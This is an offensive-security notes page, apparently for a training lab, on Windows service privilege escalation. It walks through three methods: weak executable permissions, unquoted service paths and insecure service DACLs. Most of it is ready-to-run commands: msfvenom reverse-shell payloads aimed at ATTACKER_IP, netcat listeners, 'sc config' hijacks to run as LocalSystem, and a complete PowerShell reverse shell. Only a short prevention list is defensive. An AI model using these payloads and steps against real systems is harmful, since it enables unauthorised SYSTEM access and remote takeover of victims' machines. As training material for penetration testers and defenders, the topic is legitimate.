Service Exploitation

Windows services often run with high privileges and can be exploited in various ways for privilege escalation. This document covers common techniques to identify and exploit vulnerable services.

Service Commands

Basic Service Management Commands

# Query the configuration of a service
sc qc <service_name>

# Query the current status of a service
sc query <service_name>

# Modify a configuration option of a service
sc config <service_name> <option>= <value>

# Start or stop a service
net start <service_name>
net stop <service_name>

# Alternative start/stop commands
sc start <service_name>
sc stop <service_name>

# List all services
sc query type= service state= all

# List running services
sc queryex type= service state= active

# Display all service dependencies
sc qc <service_name> | findstr "DEPENDENCIES"

# Get the security descriptor of a service
sc sdshow <service_name>

PowerShell Service Commands

# Get all services
Get-Service

# Get specific service
Get-Service -Name <service_name>

# Get running services
Get-Service | Where-Object {$_.Status -eq "Running"}

# Get service with additional details
Get-WmiObject -Class Win32_Service | Select-Object Name, DisplayName, State, PathName, StartMode, StartName

# Start and stop services
Start-Service -Name <service_name>
Stop-Service -Name <service_name>

# Check service permissions (requires admin)
Get-ServiceAcl -Name <service_name>

Understanding Windows Services

Services are managed by the Service Control Manager (SCM) and typically run with SYSTEM, LocalService, NetworkService, or custom service account privileges. Each service has:

  • An executable path (BINARY_PATH_NAME)

  • A service account (SERVICE_START_NAME)

  • A Discretionary Access Control List (DACL) controlling who can modify the service

Service Permission Types

Each service has an Access Control List (ACL) which defines service-specific permissions:

  • SERVICE_QUERY_CONFIG: Allows querying service configuration (innocuous)

  • SERVICE_QUERY_STATUS: Allows checking service status (innocuous)

  • SERVICE_STOP: Allows stopping the service (potentially useful)

  • SERVICE_START: Allows starting the service (potentially useful)

  • SERVICE_CHANGE_CONFIG: Allows changing service configuration (dangerous)

  • SERVICE_ALL_ACCESS: Provides full control over the service (dangerous)

Exploitation Potential

The exploitation potential depends on the combination of permissions you have:

  1. Ideal scenario: Having SERVICE_CHANGE_CONFIG and either SERVICE_STOP or SERVICE_START (or both)

  2. Limited scenario: Having SERVICE_CHANGE_CONFIG but no ability to stop/start

Potential Rabbit Hole: If you can change a service configuration but cannot stop/start the service, you may not be able to escalate privileges immediately. The changes will only take effect when the service is restarted, which might require:

  • Waiting for a system reboot

  • Waiting for an automated service restart

  • Finding another vulnerability to trigger a service restart

Checking Service Configuration

# Query service configuration
sc qc SERVICE_NAME

# Example
sc qc wuauserv

Key information to look for:

  • BINARY_PATH_NAME: The path to the executable

  • SERVICE_START_NAME: The account used to run the service

Method 1: Insecure Permissions on Service Executable

If the service's executable has weak permissions allowing modification, we can replace it with a malicious executable.

Identifying Vulnerable Services

# Check service executable permissions
icacls "C:\path\to\service.exe"

# Look for permissions like:
# - BUILTIN\Users:(F) or (M) - Full control or Modify
# - Everyone:(F) or (M)
# - Authenticated Users:(F) or (M)

Exploitation Steps

  1. Generate a malicious executable:

    # On Kali Linux:
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o malicious.exe
  2. Create a listener:

    nc -lvp 4445
  3. Transfer the executable to Windows target (using wget, certutil, etc.)

  4. Replace the service executable:

    # Backup original (optional)
    move C:\path\to\service.exe C:\path\to\service.exe.bak
    
    # Copy malicious executable
    copy malicious.exe C:\path\to\service.exe
    
    # Ensure proper permissions
    icacls C:\path\to\service.exe /grant Everyone:F
  5. Restart the service:

    sc stop SERVICE_NAME
    sc start SERVICE_NAME

Method 2: Unquoted Service Paths

When a service's path contains spaces and isn't enclosed in quotes, Windows will try to execute each valid path with spaces.

Identifying Vulnerable Services

# Find services with unquoted paths containing spaces
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# PowerShell alternative
Get-WmiObject -Class Win32_Service | Where-Object {$_.PathName -notmatch "`"" -and $_.PathName -match " "} | Select-Object Name, PathName, StartMode

How It Works

For a service with path C:\Program Files\Vulnerable Service\service.exe, Windows tries to execute:

  1. C:\Program.exe

  2. C:\Program Files\Vulnerable.exe

  3. C:\Program Files\Vulnerable Service\service.exe

Exploitation Steps

  1. Identify a writable directory in the service path:

    # Check directory permissions
    icacls "C:\Program Files"
    icacls "C:\Program Files\Vulnerable Service"
  2. Generate a malicious executable:

    # On Kali Linux
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o malicious.exe
  3. Create a listener:

    nc -lvp 4446
  4. Place the malicious executable in the path with proper name:

    # Example: exploiting "C:\Program Files\Vulnerable Service\service.exe"
    copy malicious.exe "C:\Program Files\Vulnerable.exe"
    
    # Ensure proper permissions
    icacls "C:\Program Files\Vulnerable.exe" /grant Everyone:F
  5. Restart the service:

    sc stop "Vulnerable Service"
    sc start "Vulnerable Service"

Method 3: Insecure Service Permissions

If a service's DACL allows modification, we can reconfigure the service to run any executable as SYSTEM.

Identifying Vulnerable Services

# Using AccessChk (Sysinternals)
accesschk64.exe -qlc SERVICE_NAME

# Look for:
# - SERVICE_ALL_ACCESS
# - SERVICE_CHANGE_CONFIG
# For non-admin groups like BUILTIN\Users, Everyone, Authenticated Users

Exploitation Steps

  1. Generate a malicious executable:

    # On Kali Linux
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o malicious.exe
  2. Create a listener:

    nc -lvp 4447
  3. Transfer and prepare the executable:

    # Ensure proper permissions
    icacls malicious.exe /grant Everyone:F
  4. Reconfigure the service:

    # Change the binary path and account (note the spaces after the equal signs)
    sc config SERVICE_NAME binPath= "C:\path\to\malicious.exe" obj= LocalSystem
  5. Restart the service:

    sc stop SERVICE_NAME
    sc start SERVICE_NAME

Dealing with Start/Stop Restrictions

If you can change the service configuration but cannot start or stop it:

  1. Option 1: Modify the executable to execute at the next system reboot

    sc config SERVICE_NAME binPath= "C:\path\to\malicious.exe" start= auto
    # Wait for reboot or find a way to force one
  2. Option 2: Target a service that automatically restarts when it crashes

    # Check if the service has a recovery action
    sc qfailure SERVICE_NAME
  3. Option 3: Look for services that are frequently restarted by the system or users

Real-World Example 1: Exploiting Unquoted Service Path

For a service with configuration like:

C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Disk Sorter Enterprise
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcusr2

Check if we can write to the directory:

C:\> icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
              BUILTIN\Administrators:(I)(OI)(CI)(F)
              BUILTIN\Users:(I)(OI)(CI)(RX)
              BUILTIN\Users:(I)(CI)(AD)
              BUILTIN\Users:(I)(CI)(WD)
              CREATOR OWNER:(I)(OI)(CI)(IO)(F)

The BUILTIN\Users group has write permissions. We can exploit this:

# Place malicious executable in the path
C:\> move malicious.exe C:\MyPrograms\Disk.exe

# Set permissions
C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F

# Restart service
C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"

Real-World Example 2: Exploiting Insecure Service Permissions

For a service with insecure DACL:

C:\> accesschk64.exe -qlc THMService
  [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
        SERVICE_ALL_ACCESS

We can reconfigure it:

# Reconfigure service
C:\> sc config THMService binPath= "C:\Users\user\malicious.exe" obj= LocalSystem

# Restart service
C:\> sc stop THMService
C:\> sc start THMService

Detection and Prevention

To prevent service-based privilege escalation:

  1. Use quotes for service paths with spaces

  2. Restrict write access to service executables and directories

  3. Set proper DACLs on services to prevent reconfiguration

  4. Run services with least privilege accounts

  5. Regularly audit service configurations and permissions

Alternative Payload Generation (Without msfvenom)

If you don't have access to msfvenom, you can create a simple service executable with C# or PowerShell:

# PowerShell reverse shell (save as .ps1)
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",PORT);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush();
}
$client.Close();

# Create a .bat wrapper to call PowerShell
echo powershell.exe -ExecutionPolicy Bypass -File C:\path\to\reverse-shell.ps1 > malicious.bat

Additional Tools For Enumeration

  • PowerUp.ps1: Invoke-AllChecks identifies many common service vulnerabilities

  • WinPEAS: Checks for service misconfigurations automatically

  • ServicePermissionsChecker.ps1: Custom PowerShell script to check service permissions

Last updated